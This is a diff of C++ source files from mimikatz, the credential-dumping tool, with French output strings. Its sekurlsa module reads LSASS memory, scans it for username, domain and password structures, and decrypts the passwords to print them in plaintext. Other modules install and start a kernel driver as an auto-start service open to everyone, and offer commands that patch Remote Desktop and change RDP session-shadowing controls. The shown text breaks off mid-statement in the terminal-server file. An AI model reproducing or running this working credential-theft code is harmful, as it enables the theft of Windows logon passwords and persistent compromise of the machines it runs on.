void mod_mimikatz_sekurlsa::genericCredsToStream(PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCreds, bool justSecurity, bool isDomainFirst, PDWORD pos)
|
||||
{
|
||||
if(mesCreds)
|
||||
{
|
||||
if(mesCreds->Password.Buffer || mesCreds->UserName.Buffer || mesCreds->Domaine.Buffer)
|
||||
{
|
||||
wstring userName = mod_process::getUnicodeStringOfProcess(&mesCreds->UserName, hLSASS);
|
||||
wstring domainName = mod_process::getUnicodeStringOfProcess(&mesCreds->Domaine, hLSASS);
|
||||
wstring password = mod_process::getUnicodeStringOfProcess(&mesCreds->Password, hLSASS, SeckPkgFunctionTable->LsaUnprotectMemory);
|
||||
wstring rUserName = (isDomainFirst ? domainName : userName);
|
||||
wstring rDomainName = (isDomainFirst ? userName : domainName);
|
||||
|
||||
if(justSecurity)
|
||||
{
|
||||
if(!pos)
|
||||
wcout << password;
|
||||
else
|
||||
wcout << endl <<
|
||||
L"\t [" << *pos << L"] { " << rUserName << L" ; " << rDomainName << L" ; " << password << L" }";
|
||||
}
|
||||
else
|
||||
{
|
||||
if(!pos)
|
||||
wcout << endl <<
|
||||
L"\t * Utilisateur : " << rUserName << endl <<
|
||||
L"\t * Domaine : " << rDomainName << endl <<
|
||||
L"\t * Mot de passe : " << password;
|
||||
else
|
||||
wcout << endl <<
|
||||
L"\t * [" << *pos << L"] Utilisateur : " << rUserName << endl <<
|
||||
L"\t Domaine : " << rDomainName << endl <<
|
||||
L"\t Mot de passe : " << password;
|
||||
}
|
||||
}
|
||||
} else wcout << L"n.t. (LUID KO)";
|
||||
}
|
||||
|
||||
bool mod_mimikatz_sekurlsa::getLogonData(vector<wstring> * mesArguments, vector<pair<PFN_ENUM_BY_LUID, wstring>> * mesProviders)
|
||||
{
|
||||
PLUID sessions;
|
||||
ULONG count;
|
||||
|
||||
if (NT_SUCCESS(LsaEnumerateLogonSessions(&count, &sessions)))
|
||||
{
|
||||
for (ULONG i = 0; i < count ; i++)
|
||||
{
|
||||
PSECURITY_LOGON_SESSION_DATA sessionData = NULL;
|
||||
if(NT_SUCCESS(LsaGetLogonSessionData(&sessions[i], &sessionData)))
|
||||
{
|
||||
if(sessionData->LogonType != Network)
|
||||
{
|
||||
wcout << endl <<
|
||||
L"Authentification Id : " << sessions[i].HighPart << L";" << sessions[i].LowPart << endl <<
|
||||
L"Package d\'authentification : " << mod_text::stringOfSTRING(sessionData->AuthenticationPackage) << endl <<
|
||||
L"Utilisateur principal : " << mod_text::stringOfSTRING(sessionData->UserName) << endl <<
|
||||
L"Domaine d\'authentification : " << mod_text::stringOfSTRING(sessionData->LogonDomain) << endl;
|
||||
|
||||
for(vector<pair<PFN_ENUM_BY_LUID, wstring>>::iterator monProvider = mesProviders->begin(); monProvider != mesProviders->end(); monProvider++)
|
||||
{
|
||||
wcout << L'\t' << monProvider->second << (mesArguments->empty() ? (L" :") : (L"")) << L'\t';
|
||||
monProvider->first(&sessions[i], mesArguments->empty());
|
||||
wcout << endl;
|
||||
}
|
||||
}
|
||||
LsaFreeReturnBuffer(sessionData);
|
||||
}
|
||||
else wcout << L"Erreur : Impossible d\'obtenir les données de session" << endl;
|
||||
}
|
||||
LsaFreeReturnBuffer(sessions);
|
||||
}
|
||||
else wcout << L"Erreur : Impossible d\'énumerer les sessions courantes" << endl;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_sekurlsa::ressembleString(PUNICODE_STRING maChaine, wstring * dstChaine, BYTE **buffer)
|
||||
{
|
||||
bool resultat = false;
|
||||
BYTE * monBuffer = NULL;
|
||||
PBYTE * leBuffer = buffer ? buffer : &monBuffer;
|
||||
if(mod_process::getUnicodeStringOfProcess(maChaine, leBuffer, hLSASS))
|
||||
{
|
||||
int flags = IS_TEXT_UNICODE_ODD_LENGTH | IS_TEXT_UNICODE_STATISTICS;
|
||||
if(resultat = (IsTextUnicode(*leBuffer, maChaine->Length, &flags) != 0))
|
||||
{
|
||||
if(dstChaine)
|
||||
dstChaine->assign(reinterpret_cast<const wchar_t *>(*leBuffer), maChaine->Length / sizeof(wchar_t));
|
||||
}
|
||||
}
|
||||
if(monBuffer)
|
||||
delete[] monBuffer;
|
||||
return resultat;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_sekurlsa::searchPasswords(vector<wstring> * arguments)
|
||||
{
|
||||
if(searchLSASSDatas())
|
||||
{
|
||||
if(PNT_QUERY_SYSTEM_INFORMATION NtQuerySystemInformation = reinterpret_cast<PNT_QUERY_SYSTEM_INFORMATION>(GetProcAddress(GetModuleHandle(L"ntdll"), "NtQuerySystemInformation")))
|
||||
{
|
||||
#ifdef _M_X64
|
||||
PBYTE MmSystemRangeStart = reinterpret_cast<PBYTE>(0xffff080000000000);
|
||||
#elif defined _M_IX86
|
||||
PBYTE MmSystemRangeStart = reinterpret_cast<PBYTE>(0x80000000);
|
||||
#endif
|
||||
ULONG maTaille = 0;
|
||||
NtQuerySystemInformation(KIWI_SystemMmSystemRangeStart, &MmSystemRangeStart, sizeof(PBYTE), &maTaille);
|
||||
|
||||
DWORD nbPossible = 0;
|
||||
for(PBYTE pMemoire = 0; pMemoire < MmSystemRangeStart ; )
|
||||
{
|
||||
MEMORY_BASIC_INFORMATION mesInfos;
|
||||
if(VirtualQueryEx(hLSASS, pMemoire, &mesInfos, sizeof(MEMORY_BASIC_INFORMATION)) > 0)
|
||||
{
|
||||
if((mesInfos.Protect & PAGE_READWRITE) && !(mesInfos.Protect & PAGE_GUARD) && (mesInfos.Type == MEM_PRIVATE))
|
||||
{
|
||||
UNICODE_STRING donnees[3];
|
||||
for(PBYTE pZone = reinterpret_cast<PBYTE>(mesInfos.BaseAddress); pZone < (reinterpret_cast<PBYTE>(mesInfos.BaseAddress) + mesInfos.RegionSize - 3*sizeof(UNICODE_STRING)); pZone += sizeof(DWORD))
|
||||
{
|
||||
if(mod_memory::readMemory(pZone, donnees, 3*sizeof(UNICODE_STRING), hLSASS))
|
||||
{
|
||||
if(
|
||||
(donnees[0].Length && !((donnees[0].Length & 1) || (donnees[0].MaximumLength & 1)) && (donnees[0].Length < sizeof(wchar_t)*0xff) && (donnees[0].Length <= donnees[0].MaximumLength) && donnees[0].Buffer) &&
|
||||
(donnees[1].Length && !((donnees[1].Length & 1) || (donnees[1].MaximumLength & 1)) && (donnees[1].Length < sizeof(wchar_t)*0xff) && (donnees[1].Length <= donnees[1].MaximumLength) && donnees[1].Buffer) &&
|
||||
(donnees[2].Length && !((donnees[2].Length & 1) || (donnees[2].MaximumLength & 1)) && (donnees[2].Length < sizeof(wchar_t)*0xff) && (donnees[2].Length <= donnees[2].MaximumLength) && donnees[2].Buffer)
|
||||
)
|
||||
{
|
||||
wstring user, domain, password;
|
||||
BYTE * bPassword = NULL;
|
||||
if(ressembleString(&donnees[0], &user) && ressembleString(&donnees[1], &domain) && !ressembleString(&donnees[2], NULL, &bPassword))
|
||||
{
|
||||
if(bPassword)
|
||||
{
|
||||
mod_mimikatz_sekurlsa::SeckPkgFunctionTable->LsaUnprotectMemory(bPassword, donnees[2].MaximumLength);
|
||||
password.assign(mod_text::stringOrHex(bPassword, donnees[2].Length, 0, false));
|
||||
}
|
||||
wcout << L"[" << nbPossible++ << L"] { " << user << L" ; " << domain << L" ; " << password << L" }" << endl;
|
||||
}
|
||||
|
||||
if(bPassword)
|
||||
delete[] bPassword;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
pMemoire += mesInfos.RegionSize;
|
||||
}
|
||||
else break;
|
||||
}
|
||||
}
|
||||
}
|
||||
else wcout << L"Données LSASS en erreur" << endl;
|
||||
return true;
|
||||
}
|
@ -0,0 +1,64 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
*/
|
||||
#pragma once
|
||||
#include "globdefs.h"
|
||||
#include "mod_memory.h"
|
||||
#include "mod_process.h"
|
||||
#include "mod_text.h"
|
||||
#include "mod_system.h"
|
||||
#include <iostream>
|
||||
#include "secpkg.h"
|
||||
|
||||
#include "LSA Keys/keys_nt5.h"
|
||||
#include "LSA Keys/keys_nt6.h"
|
||||
|
||||
#include "Security Packages/msv1_0.h"
|
||||
#include "Security Packages/tspkg.h"
|
||||
#include "Security Packages/wdigest.h"
|
||||
#include "Security Packages/kerberos.h"
|
||||
#include "Security Packages/livessp.h"
|
||||
#include "Security Packages/ssp.h"
|
||||
|
||||
class mod_mimikatz_sekurlsa
|
||||
{
|
||||
public:
|
||||
typedef bool (WINAPI * PFN_ENUM_BY_LUID) (__in PLUID logId, __in bool justSecurity);
|
||||
private:
|
||||
typedef struct _KIWI_MODULE_PKG_LSA {
|
||||
wchar_t * moduleName;
|
||||
wchar_t * simpleName;
|
||||
PFN_ENUM_BY_LUID enumFunc;
|
||||
mod_process::PKIWI_VERY_BASIC_MODULEENTRY * pModuleEntry;
|
||||
_KIWI_MODULE_PKG_LSA(wchar_t * leModuleName, wchar_t * leSimpleName, PFN_ENUM_BY_LUID laEnumFunc, mod_process::PKIWI_VERY_BASIC_MODULEENTRY * pLeModuleEntry) : moduleName(leModuleName), simpleName(leSimpleName), enumFunc(laEnumFunc), pModuleEntry(pLeModuleEntry) {}
|
||||
} KIWI_MODULE_PKG_LSA, *PKIWI_MODULE_PKG_LSA;
|
||||
|
||||
static bool lsassOK;
|
||||
static vector<pair<PFN_ENUM_BY_LUID, wstring>> GLOB_ALL_Providers;
|
||||
static vector<KIWI_MODULE_PKG_LSA> mesModules;
|
||||
|
||||
static PVOID getPtrFromAVLByLuidRec(PRTL_AVL_TABLE pTable, unsigned long LUIDoffset, PLUID luidToFind);
|
||||
static bool ressembleString(PUNICODE_STRING maChaine, wstring * dstChaine = NULL, BYTE **buffer = NULL);
|
||||
|
||||
static bool getLogonPasswords(vector<wstring> * arguments);
|
||||
static bool searchPasswords(vector<wstring> * arguments);
|
||||
public:
|
||||
static HANDLE hLSASS;
|
||||
static HMODULE hLsaSrv;
|
||||
static mod_process::KIWI_VERY_BASIC_MODULEENTRY localLSASRV, *pModLSASRV;
|
||||
static PLSA_SECPKG_FUNCTION_TABLE SeckPkgFunctionTable;
|
||||
|
||||
static PLIST_ENTRY getPtrFromLinkedListByLuid(PLIST_ENTRY pSecurityStruct, unsigned long LUIDoffset, PLUID luidToFind);
|
||||
static PVOID getPtrFromAVLByLuid(PRTL_AVL_TABLE pTable, unsigned long LUIDoffset, PLUID luidToFind);
|
||||
|
||||
static void genericCredsToStream(PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCreds, bool justSecurity, bool isDomainFirst = false, PDWORD pos = NULL);
|
||||
static bool getLogonData(vector<wstring> * mesArguments, vector<pair<PFN_ENUM_BY_LUID, wstring>> * mesProviders);
|
||||
|
||||
static bool loadLsaSrv();
|
||||
static bool unloadLsaSrv();
|
||||
static bool searchLSASSDatas();
|
||||
|
||||
static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands();
|
||||
};
|
@ -0,0 +1,190 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
*/
|
||||
#include "mod_mimikatz_service.h"
|
||||
|
||||
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_service::getMimiKatzCommands()
|
||||
{
|
||||
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector;
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(list, L"list", L"Liste les services et pilotes"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(start, L"start", L"Démarre un service ou pilote"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(stop, L"stop", L"Arrête un service ou pilote"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(remove, L"remove", L"Supprime un service ou pilote"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(mimikatz, L"mimikatz", L"Installe et/ou démarre le pilote mimikatz"));
|
||||
return monVector;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_service::start(vector<wstring> * arguments)
|
||||
{
|
||||
wcout << L"Démarrage de \'";
|
||||
return genericFunction(mod_service::start, arguments);
|
||||
}
|
||||
|
||||
bool mod_mimikatz_service::stop(vector<wstring> * arguments)
|
||||
{
|
||||
wcout << L"Arrêt de \'";
|
||||
return genericFunction(mod_service::stop, arguments);
|
||||
}
|
||||
|
||||
bool mod_mimikatz_service::remove(vector<wstring> * arguments)
|
||||
{
|
||||
wcout << L"Suppression de \'";
|
||||
return genericFunction(mod_service::remove, arguments);
|
||||
}
|
||||
|
||||
bool mod_mimikatz_service::genericFunction(PMOD_SERVICE_FUNC function, vector<wstring> * arguments)
|
||||
{
|
||||
if(!arguments->empty())
|
||||
{
|
||||
wcout << arguments->front() << L"\' : ";
|
||||
if(function(&arguments->front(), NULL))
|
||||
wcout << L"OK";
|
||||
else
|
||||
wcout << L"KO ; " << mod_system::getWinError();
|
||||
wcout << endl;
|
||||
}
|
||||
else wcout << L"(null)\' - KO ; Nom de service manquant" << endl;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
|
||||
bool mod_mimikatz_service::list(vector<wstring> * arguments)
|
||||
{
|
||||
bool services_fs_drivers = true;
|
||||
bool services = false;
|
||||
bool fs = false;
|
||||
bool drivers = false;
|
||||
|
||||
bool allstate = true;
|
||||
bool running = false;
|
||||
bool stopped = false;
|
||||
|
||||
vector<mod_service::KIWI_SERVICE_STATUS_PROCESS> * vectorServices = new vector<mod_service::KIWI_SERVICE_STATUS_PROCESS>();
|
||||
if(mod_service::getList(vectorServices, (arguments->empty() ? NULL : &arguments->front())))
|
||||
{
|
||||
for(vector<mod_service::KIWI_SERVICE_STATUS_PROCESS>::iterator monService = vectorServices->begin(); monService != vectorServices->end(); monService++)
|
||||
{
|
||||
if(
|
||||
(
|
||||
(services && (monService->ServiceStatusProcess.dwServiceType & (SERVICE_WIN32_OWN_PROCESS | SERVICE_WIN32_SHARE_PROCESS))) ||
|
||||
(fs && (monService->ServiceStatusProcess.dwServiceType & SERVICE_FILE_SYSTEM_DRIVER)) ||
|
||||
(drivers && (monService->ServiceStatusProcess.dwServiceType & SERVICE_KERNEL_DRIVER)) ||
|
||||
(services_fs_drivers)
|
||||
)
|
||||
&&
|
||||
(
|
||||
(running && monService->ServiceStatusProcess.dwCurrentState == SERVICE_RUNNING) ||
|
||||
(stopped && monService->ServiceStatusProcess.dwCurrentState == SERVICE_STOPPED) ||
|
||||
(allstate)
|
||||
)
|
||||
)
|
||||
{
|
||||
if(monService->ServiceStatusProcess.dwProcessId != 0)
|
||||
wcout << setw(5) << setfill(wchar_t(' ')) << monService->ServiceStatusProcess.dwProcessId;
|
||||
wcout << L'\t';
|
||||
|
||||
if(monService->ServiceStatusProcess.dwServiceType & SERVICE_INTERACTIVE_PROCESS)
|
||||
wcout << L"INTERACTIVE_PROCESS" << L'\t';
|
||||
if(monService->ServiceStatusProcess.dwServiceType & SERVICE_FILE_SYSTEM_DRIVER)
|
||||
wcout << L"FILE_SYSTEM_DRIVER" << L'\t';
|
||||
if(monService->ServiceStatusProcess.dwServiceType & SERVICE_KERNEL_DRIVER)
|
||||
wcout << L"KERNEL_DRIVER" << L'\t';
|
||||
if(monService->ServiceStatusProcess.dwServiceType & SERVICE_WIN32_OWN_PROCESS)
|
||||
wcout << L"WIN32_OWN_PROCESS" << L'\t';
|
||||
if(monService->ServiceStatusProcess.dwServiceType & SERVICE_WIN32_SHARE_PROCESS)
|
||||
wcout << L"WIN32_SHARE_PROCESS" << L'\t';
|
||||
|
||||
switch(monService->ServiceStatusProcess.dwCurrentState)
|
||||
{
|
||||
case SERVICE_CONTINUE_PENDING:
|
||||
wcout << L"CONTINUE_PENDING";
|
||||
break;
|
||||
case SERVICE_PAUSE_PENDING:
|
||||
wcout << L"PAUSE_PENDING";
|
||||
break;
|
||||
case SERVICE_PAUSED:
|
||||
wcout << L"PAUSED";
|
||||
break;
|
||||
case SERVICE_RUNNING:
|
||||
wcout << L"RUNNING";
|
||||
break;
|
||||
case SERVICE_START_PENDING:
|
||||
wcout << L"START_PENDING";
|
||||
break;
|
||||
case SERVICE_STOP_PENDING:
|
||||
wcout << L"STOP_PENDING";
|
||||
break;
|
||||
case SERVICE_STOPPED:
|
||||
wcout << L"STOPPED";
|
||||
break;
|
||||
}
|
||||
|
||||
wcout << L'\t' <<
|
||||
monService->serviceName << L'\t' <<
|
||||
monService->serviceDisplayName <<
|
||||
endl;
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
wcout << L"mod_service::getList ; " << mod_system::getWinError() << endl;
|
||||
|
||||
delete vectorServices;
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_service::mimikatz(vector<wstring> * arguments)
|
||||
{
|
||||
if(SC_HANDLE monManager = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT | SC_MANAGER_CREATE_SERVICE))
|
||||
{
|
||||
SC_HANDLE monService = NULL;
|
||||
if(!(monService = OpenService(monManager, L"mimikatz", SERVICE_START)))
|
||||
{
|
||||
if(GetLastError() == ERROR_SERVICE_DOES_NOT_EXIST)
|
||||
{
|
||||
wcout << L"[*] Pilote mimikatz non présent, installation." << endl;
|
||||
|
||||
wstring monPilote = L"mimikatz.sys";
|
||||
wstring monPiloteComplet = L"";
|
||||
if(mod_system::getAbsolutePathOf(monPilote, &monPiloteComplet))
|
||||
{
|
||||
bool fileExist = false;
|
||||
if(mod_system::isFileExist(monPiloteComplet, &fileExist) && fileExist)
|
||||
{
|
||||
if(monService = CreateService(monManager, L"mimikatz", L"mimikatz driver", READ_CONTROL | WRITE_DAC | SERVICE_START, SERVICE_KERNEL_DRIVER, SERVICE_AUTO_START, SERVICE_ERROR_NORMAL, monPiloteComplet.c_str(), NULL, NULL, NULL, NULL, NULL))
|
||||
{
|
||||
wcout << L"[+] Création du pilote : OK" << endl;
|
||||
if(mod_secacl::addWorldToMimikatz(&monService))
|
||||
wcout << L"[+] Attribution des droits : OK";
|
||||
else
|
||||
wcout << L"[-] Attribution des droits : KO ; " << mod_system::getWinError();
|
||||
wcout << endl;
|
||||
}
|
||||
else wcout << L"[!] Impossible de créer le pilote ; " << mod_system::getWinError() << endl;
|
||||
}
|
||||
else wcout << L"[!] Le pilote ne semble pas exister ; " << mod_system::getWinError() << endl;
|
||||
}
|
||||
else wcout << L"[!] Impossible d\'obtenir le chemin absolu du pilote ; " << mod_system::getWinError() << endl;
|
||||
}
|
||||
else wcout << L"[!] Ouverture du pilote mimikatz : KO ; " << mod_system::getWinError() << endl;
|
||||
}
|
||||
else wcout << L"[*] Pilote mimikatz déjà présent" << endl;
|
||||
|
||||
if(monService)
|
||||
{
|
||||
if(StartService(monService, 0, NULL) != 0)
|
||||
wcout << L"[+] Démarrage du pilote : OK";
|
||||
else
|
||||
wcout << L"[-] Démarrage du pilote : KO ; " << mod_system::getWinError();
|
||||
wcout << endl;
|
||||
CloseServiceHandle(monService);
|
||||
}
|
||||
|
||||
CloseServiceHandle(monManager);
|
||||
}
|
||||
else wcout << L"[!] Impossible d\'ouvrir le gestionnaire de service pour création ; " << mod_system::getWinError() << endl;
|
||||
return true;
|
||||
}
|
@ -0,0 +1,34 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
*/
|
||||
#pragma once
|
||||
#include "globdefs.h"
|
||||
#include "mod_system.h"
|
||||
#include "mod_service.h"
|
||||
#include <iostream>
|
||||
|
||||
class mod_mimikatz_service
|
||||
{
|
||||
private:
|
||||
typedef bool (* PMOD_SERVICE_FUNC) (wstring * serviceName, wstring * machineName);
|
||||
static bool genericFunction(PMOD_SERVICE_FUNC function, vector<wstring> * arguments);
|
||||
public:
|
||||
static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands();
|
||||
|
||||
static bool list(vector<wstring> * arguments);
|
||||
|
||||
static bool start(vector<wstring> * arguments);
|
||||
static bool suspend(vector<wstring> * arguments);
|
||||
static bool resume(vector<wstring> * arguments);
|
||||
static bool stop(vector<wstring> * arguments);
|
||||
|
||||
static bool query(vector<wstring> * arguments);
|
||||
|
||||
static bool add(vector<wstring> * arguments);
|
||||
static bool remove(vector<wstring> * arguments);
|
||||
static bool control(vector<wstring> * arguments);
|
||||
|
||||
static bool mimikatz(vector<wstring> * arguments);
|
||||
};
|
@ -0,0 +1,76 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
*/
|
||||
#include "mod_mimikatz_standard.h"
|
||||
|
||||
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_standard::getMimiKatzCommands()
|
||||
{
|
||||
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector;
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(clearScreen, L"cls", L"Efface l\'écran (ne fonctionne pas en éxecution distante, via PsExec par exemple)"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(exit, L"exit", L"Quitte MimiKatz"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(reponse, L"reponse", L"Calcule la réponse à la Grande Question sur la Vie, l\'Univers et le Reste"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(cite, L"cite", L"Trouve une citation"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(version, L"version", L"Retourne la version de mimikatz"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(sleep, L"sleep", L"Mets en pause mimikatz un certains nombre de millisecondes"));
|
||||
//monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(test, L"test", L"Routine de test (ne devrait plus être là en release..."));
|
||||
return monVector;
|
||||
}
|
||||
|
||||
/*bool mod_mimikatz_standard::test(vector<wstring> * arguments)
|
||||
{
|
||||
return true;
|
||||
}*/
|
||||
|
||||
bool mod_mimikatz_standard::version(vector<wstring> * arguments)
|
||||
{
|
||||
wcout << MIMIKATZ_FULL << L" (" << __DATE__ << L' ' << __TIME__ << L')' << endl;
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_standard::clearScreen(vector<wstring> * arguments)
|
||||
{
|
||||
HANDLE hStdOut = GetStdHandle(STD_OUTPUT_HANDLE);
|
||||
COORD coord = {0, 0};
|
||||
DWORD count;
|
||||
|
||||
CONSOLE_SCREEN_BUFFER_INFO csbi;
|
||||
GetConsoleScreenBufferInfo(hStdOut, &csbi);
|
||||
|
||||
FillConsoleOutputCharacter(hStdOut, L' ', csbi.dwSize.X * csbi.dwSize.Y, coord, &count);
|
||||
SetConsoleCursorPosition(hStdOut, coord);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_standard::exit(vector<wstring> * arguments)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_standard::reponse(vector<wstring> * arguments)
|
||||
{
|
||||
wcout << L"La réponse est 42." << endl;
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_standard::cite(vector<wstring> * arguments)
|
||||
{
|
||||
wcout << L"I edit the world in HEX" << endl;
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_standard::sleep(vector<wstring> * arguments)
|
||||
{
|
||||
DWORD dwMilliseconds = 1000;
|
||||
if(!arguments->empty())
|
||||
{
|
||||
wstringstream z;
|
||||
z << arguments->front(); z >> dwMilliseconds;
|
||||
}
|
||||
wcout << L"Sleep : " << dwMilliseconds << L" ms... " << flush;
|
||||
Sleep(dwMilliseconds);
|
||||
wcout << L"Fin !" << endl;
|
||||
return true;
|
||||
}
|
@ -0,0 +1,23 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
*/
|
||||
#pragma once
|
||||
#include "globdefs.h"
|
||||
#include <iostream>
|
||||
#include <sstream>
|
||||
|
||||
class mod_mimikatz_standard
|
||||
{
|
||||
public:
|
||||
static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands();
|
||||
|
||||
static bool clearScreen(vector<wstring> * arguments);
|
||||
static bool exit(vector<wstring> * arguments);
|
||||
static bool cite(vector<wstring> * arguments);
|
||||
static bool reponse(vector<wstring> * arguments);
|
||||
static bool version(vector<wstring> * arguments);
|
||||
static bool sleep(vector<wstring> * arguments);
|
||||
static bool test(vector<wstring> * arguments);
|
||||
};
|
@ -0,0 +1,39 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
*/
|
||||
#include "mod_mimikatz_system.h"
|
||||
|
||||
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_system::getMimiKatzCommands()
|
||||
{
|
||||
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector;
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(user, L"user", L"Affiche l\'utilisateur courant"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(computer, L"computer", L"Affiche le nom d\'ordinateur courant"));
|
||||
return monVector;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_system::user(vector<wstring> * arguments)
|
||||
{
|
||||
wstring monUser;
|
||||
|
||||
if(mod_system::getUserName(&monUser))
|
||||
wcout << L"Utilisateur : " << monUser << endl;
|
||||
else
|
||||
wcout << L"mod_system::getUserName : " << mod_system::getWinError();
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_system::computer(vector<wstring> * arguments)
|
||||
{
|
||||
wstring monComputer;
|
||||
|
||||
if(mod_system::getComputerName(&monComputer))
|
||||
wcout << L"Ordinateur : " << monComputer << endl;
|
||||
else
|
||||
wcout << L"mod_system::getComputerName : " << mod_system::getWinError();
|
||||
|
||||
return true;
|
||||
}
|
||||
|
@ -0,0 +1,17 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
*/
|
||||
#pragma once
|
||||
#include "globdefs.h"
|
||||
#include "mod_system.h"
|
||||
#include <iostream>
|
||||
|
||||
class mod_mimikatz_system
|
||||
{
|
||||
public:
|
||||
static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands();
|
||||
static bool user(vector<wstring> * arguments);
|
||||
static bool computer(vector<wstring> * arguments);
|
||||
};
|
@ -0,0 +1,290 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
*/
|
||||
#include "mod_mimikatz_terminalserver.h"
|
||||
|
||||
// http://msdn.microsoft.com/library/aa383464.aspx
|
||||
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_terminalserver::getMimiKatzCommands()
|
||||
{
|
||||
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector;
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(sessions, L"sessions"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(processes, L"processes"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(multirdp, L"multirdp", L"Patch le bureau à distance pour dépasser 2 connexions simultanées"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(viewshadow, L"viewshadow", L"Affiche l\'état de la prise de contrôle des sessions RDP"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(modifyshadow, L"modifyshadow", L"Modifie l\'état de la prise de contrôle des sessions RDP (DISABLE, INTERACT, INTERACT_NOASK, VIEW, VIEW_NOASK)"));
|
||||
return monVector;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_terminalserver::sessions(vector<wstring> * arguments)
|
||||
{
|
||||
vector<mod_ts::KIWI_WTS_SESSION_INFO> mesSessions;
|
||||
|
||||
if(mod_ts::getSessions(&mesSessions, (arguments->size() ? &arguments->front() : NULL)))
|
||||
{
|
||||
wcout << L"SessId\tEtat\tstrEtat" << endl;
|
||||
for(vector<mod_ts::KIWI_WTS_SESSION_INFO>::iterator maSession = mesSessions.begin(); maSession != mesSessions.end(); maSession++)
|
||||
{
|
||||
wcout <<
|
||||
setw(5) << setfill(wchar_t(' ')) << maSession->id << L'\t' <<
|
||||
